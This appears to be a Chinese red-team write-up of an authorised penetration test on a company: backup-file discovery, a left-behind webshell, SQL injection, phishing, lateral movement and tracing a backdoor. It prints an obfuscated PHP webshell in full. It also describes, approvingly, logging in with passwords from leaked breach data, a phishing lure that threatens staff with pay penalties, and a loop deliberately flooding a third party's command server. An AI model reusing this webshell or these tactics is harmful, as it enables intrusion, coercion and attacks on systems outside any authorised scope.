一个ngnix默认页面引发的血案

  • A+
所属分类:安全文章

这是 酒仙桥六号部队 的第 81 篇文章。

全文共计2463个字,预计阅读时长10分钟


1 资产梳理

三天前,接到通知对某企业进行一次授权的模拟真实攻击。

目标为大型企业,目前已知信息如下:

目标主站:www.jiuxianqiaoliuhao.com

靶标系统:

www.jiuxianqiaoliuhao.com

oa.jiuxianqiaoliuhao.com

webmail.jiuxianqiaoliuhao.com

以及核心工控系统,物联网系统,个人pc机。

针对目标企业网络安全初步分析:

因目标系统为大型企业,存在专门的安全团队,对于核心资产来说,爆出新漏洞后会第一时间打上补丁,根据客户需求以及目标情况来看,决定使用web攻击从边缘业务入手进入内网,同时针对有各个分部可能安全意识不足的情况实行钓鱼。

在进行常规资产搜集后,通过天眼查搜集到了某分公司的一个目标边缘业务,ip为201.22.x.x。

一个ngnix默认页面引发的血案

直接访问如下,是一个nginx默认页面。

一个ngnix默认页面引发的血案

因该ip为目标官方给出的ip,只开启了80和22端口,因此判断该ip上一定存在业务系统,推断管理员因安全考虑未将业务系统放在目标主页之上,因此进行爆破目录与枚举目录,通过针对linux的三位用户名枚举发现了目标系统/Tza/,返回200,访问如图。

一个ngnix默认页面引发的血案

直接上互联网公开的裤子去查了一下这个手机号的密码,登录无果,图片验证码有效,通过图像识别验证码后因为图中存在干扰图像识别的条纹,考虑到爆破成本太高然后尝试常规渗透测试方式。登陆口手工测试了sql注入等常见漏洞,且未识别出网站用的框架,无果,只有一个登陆口,在这个登陆口没有发现漏洞的情况下只能尝试爆破目录,在爆破目录时发现了以下目录:

一个ngnix默认页面引发的血案

未发现敏感文件,http登录包中的php文件名也很复杂,尝试使用字典文件递归爆破backup和bak目录的备份文件无果。

捋了捋思路喝了杯茶后似乎这个网站就没有别的测试方法可以搞了,但是持着不放弃的心态继续耐着性子思考,重新审视一下这个网站,整理可用信息

目标 201.22.x.x管理员手机:189xxxxxxxx管理员曾用密码:****************网站开放端口:80,22(openssh)网站存在目录/Bak,/backup


2 漏洞利用

根据这些信息,目前可以用来测试的方法只有openssh用户名枚举漏洞来爆破22端口以及备份目录下爆破出备份文件。

站在开发角度似乎无法从这些信息中利用漏洞,站在运维角度来看,bak和backup目录下可能会有管理员打包的文件但是没爆破出来,站在运维模式思考,手工猜测网站备份,Tza应该是这套系统的名字,猜测Tza.gz,Tza.tar等常用linux运维打包名字,最终,成功猜到了备份文件名,访问/bak/Tza.tar 直接下载到了网站源码。

一个ngnix默认页面引发的血案

本地搭建环境源码代码审计,打开工具一看???怎么还有shell.php...

一个ngnix默认页面引发的血案

找到这个目录打开这个文件就是phpinfo,观察这些文件怎么有这么多shell.php和shell.jpg,怀疑是已经被入侵了。

一个ngnix默认页面引发的血案

最后打开那个busi.php,内容如下,发现是个免杀的webshell:

<?php
set**time**limit(0);
ignore**user**abort(true);
$file = 'phpinfo.php';
$shell =
"PD9waHAKCSRzdHIxID0gJ2FIKFVVSChmc2RmSChVVUgoZnNkZixmZGdkZWZqZzBKKXImJUYlKl5HKnQnOwoJJHN0cjIgPSBzdHJ0cigkc3RyMSxhcnJheSgnYUgoVVVIKGZzZGZIKFVVSChmc2RmLCc9PidhcycsJ2ZkZ2RlZmpnMEopJz0+J3NlJywnciYlRiUqXkcqdCc9PidydCcpKTsKCSRzdHIzID0gc3RydHIoJHN0cjIsYXJyYXkoJ3MsJz0+J3MnLCdmZGdkZWZqZzBKKXImJUYlKl5HKic9PidlcicpKTsKCWlmKG1kNShAJF9HRVRbJ2EnXSkgPT0nZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UnKXsKCQkkc3RyNCA9IHN0cnJldigkX1BPU1RbJ2EnXSk7CgkJJHN0cjUgPSBzdHJyZXYoJHN0cjQpOwoJCSRzdHIzKCRzdHI1KTsKICAgIH0KPz4=";
while(true){
file_put_contents($file,base64_decode($shell));
usleep(50);
}
?>

发现是个免杀的webshell,分析代码后发现这个phpshell一访问会当前目录生成一个phpinfo.php,内容如下:

一个ngnix默认页面引发的血案

看到这里马上去下了个菜刀,getshell。

一个ngnix默认页面引发的血案

连接方式如下:

一个ngnix默认页面引发的血案

没想到这么简单就拿到了shell,抱着不能存侥幸的心里,认真再审计了下。

发现了这个,base64解码后写入文件。

一个ngnix默认页面引发的血案

再次getshell。

一个ngnix默认页面引发的血案

该服务器内网地址如下:

10.10.10.157

通过代理脚本进入对方内网,通过已知的密码去爆破内网服务器拿下c段三台服务器,其中两台rdp,以及web漏洞若干。

其中发现一个隐藏比较深的sql注入,网站过滤参数值过滤很严格,但因为参数名格式特殊,故想到在参数名处进行sql注入,如下,直接改参数名,参数值用数字表示即可注入了。

一个ngnix默认页面引发的血案

一个ngnix默认页面引发的血案

一个ngnix默认页面引发的血案

源码中一个接口还泄露了邮箱账号密码。可登录目标邮箱系统。

一个ngnix默认页面引发的血案

登录邮箱,在邮箱中找到网络拓扑图,目标网络情况如下:

一个ngnix默认页面引发的血案

通过分析邮件中的多个拓扑图,整理分析目标企业网络架构如下

server:10.10.10.0/24总部:10.10.31.0/16山东:10.10.221.0/16四川:10.10.160.0/16新疆:10.10.183.0/16河北:10.10.59.0/16

有了内网架构就很方便了,等待夜深人静的时候挂上端口扫描工具扫这些网段。


3 通过钓鱼进入核心内网


1 days later......

打开端口扫描工具的扫描结果,发现服务器扫描的结果仅限服务器段,无法扫到其他个人机器的段,该次攻击的核心目标便是企业的个人pc机器,故使用钓鱼的方式获取pc机权限,使用大佬同事提供的免杀马,再加一层 upx压缩exe文件,这个命令可以将exe文件压缩得到更小压缩后还是exe格式,用来当做免杀很方便。

一个ngnix默认页面引发的血案

直接将免杀且压缩后的木马打包成rar,发送钓鱼邮件。

一个ngnix默认页面引发的血案

文档中社工一波,不安装就扣绩效,提高上线率。

一个ngnix默认页面引发的血案

获取到大量个人pc机器权限。

一个ngnix默认页面引发的血案

通过总部的10.10.31.0/16 pc机再次进行80端口的扫描,发现大量内网摄像头,在使用弱口令爆破无果后,使用之前在裤子里查到的密码*********成功登陆了部分摄像头。

一个ngnix默认页面引发的血案

其他区域的b段也进行了端口扫描,通过1433端口弱口令等漏洞拿到了数台机器的权限。


4 溯源

此时,项目已经可以结束了提交报告走人了,但总觉得少了点什么,强迫症告诉我要溯源分析一波这个后门。因为是一年前的shell了,history的命令行记录已经没有了,web请求日志也没开启,于是乎只有翻翻服务器上还有没有留存下来的后门程序,皇天不负有心人,在tmp目录下一眼看到了这个test,感觉很可疑,拖到本地测试环境发现是一个linux的可执行文件,需要加权限才可以执行,很可能是一个linux远控。

一个ngnix默认页面引发的血案

走了下defener等杀毒软件都说这个文件是安全的,但是运行了好几次发现一个外联ip很可疑。

netstat -anot | more

一个ngnix默认页面引发的血案

nmap走一波。

一个ngnix默认页面引发的血案

40050端口?cobaltstrike默认是50050端口,出于职业的敏感性一眼就觉得是cs的linux马,尝试用本地的cs去连这个40050端口,果然。。。提示的是身份验证失败而不是连接超时,说明这台cs机器是存在的而且处于开启状态。

一个ngnix默认页面引发的血案

一个ngnix默认页面引发的血案

试了好几个常用的cs密码都无法登录这台服务器,但是不搞点事怎么能就这么算了,上循环脚本安排,此脚本可无限循环运行这个test的木马,一秒钟上线一次,让对方cobaltstrike服务器爆炸,先挂一晚上上线个几万次再说,

#! /bin/Bashwhile truedo./testsleep 1done

一个ngnix默认页面引发的血案

后续跟客户沟通得知此脚本是之前其他安全公司测试人员留下的渗透脚本,webshell,测试完毕后忘记删除。


5 总结

此次渗透测试拿下多个目标系统高危漏洞,多台服务器和物联网设备权限,通过钓鱼拿到多台个人主机,且发现后门文件,以及成功溯源到之前的测试人员的cs服务器ip地址。



一个ngnix默认页面引发的血案

一个ngnix默认页面引发的血案

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: